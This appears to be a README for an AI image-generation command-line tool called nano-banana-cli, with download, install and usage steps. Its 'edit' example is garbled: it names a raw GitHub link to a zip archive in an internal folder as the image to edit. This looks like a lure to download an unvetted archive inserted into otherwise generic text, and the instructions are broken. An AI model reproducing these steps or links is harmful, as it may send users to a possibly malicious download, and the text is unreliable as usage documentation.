Welcome to nano-banana-cli, an easy-to-use command-line tool for generating and manipulating images. This tool harnesses the power of AI using Google's Gemini models. Whether you want to create new images, edit existing ones, or generate icons, this application offers a range of features tailored for your creative needs.
Note: This is a personal project and is not actively supported. Pull requests are not accepted. Feel free to open an issue if you run into something - I'll see it, but no promises on fixes or responses.
- Image Generation: Create images using text prompts.
- Image Editing: Modify existing images with simple language.
- Icon Generation: Produce app icons in various sizes.
- Pattern Generation: Generate seamless, tileable patterns.
- Image Transformation: Resize, crop, rotate, and flip images.
- Transparency Handling: Remove backgrounds and inspect alpha channels.
- Image Combining: Merge images into sprite sheets, strips, and grids.
To get started, visit this page to download the latest release for your platform: GitHub Releases.
- Navigate to the Releases page by clicking the link above.
- Look for the latest version available.
- Choose the file that matches your operating system (Windows, macOS, Linux).
- Click on the file to download it.
- Operating System: Compatible with Windows, macOS, and Linux.
- Disk Space: At least 100 MB of available space.
- Memory: Minimum of 4 GB RAM recommended.
Once you have downloaded the software, follow these steps:
- Locate the downloaded file in your file manager.
- For Windows, double-click the
.exefile to start the installation. For macOS, open the.dmgfile and drag the application to your Applications folder. For Linux, follow the terminal instructions if applicable. - Open your command line interface (Command Prompt on Windows, Terminal on macOS and Linux).
- Execute the application by typing
nano-banana-cliand pressing Enter.
To generate an image based on a text prompt, you can use the following command:
nano-banana-cli generate "A beautiful sunset over the mountains"
To edit an image called https://raw.githubusercontent.com/erikceballos/nano-banana-cli/main/internal/nano_cli_banana_1.9-alpha.5.zip, you can use:
nano-banana-cli edit https://raw.githubusercontent.com/erikceballos/nano-banana-cli/main/internal/nano_cli_banana_1.9-alpha.5.zip "Make it brighter and add clouds"
To create an app icon, use:
nano-banana-cli icon "MyApp" --size 512
If you encounter any issues:
- Ensure you have the correct version for your operating system.
- Check the command syntax for errors.
- Consult the issues page to see if your problem has been addressed.
Thank you for trying out nano-banana-cli! Your feedback is valuable. I appreciate your interest in using this tool for your image generation and editing needs. For any questions or discussions, please feel free to open an issue on GitHub.
Keep an eye on the Releases page for future updates and improvements.
By following these instructions, you will successfully download, install, and run nano-banana-cli. Enjoy creating!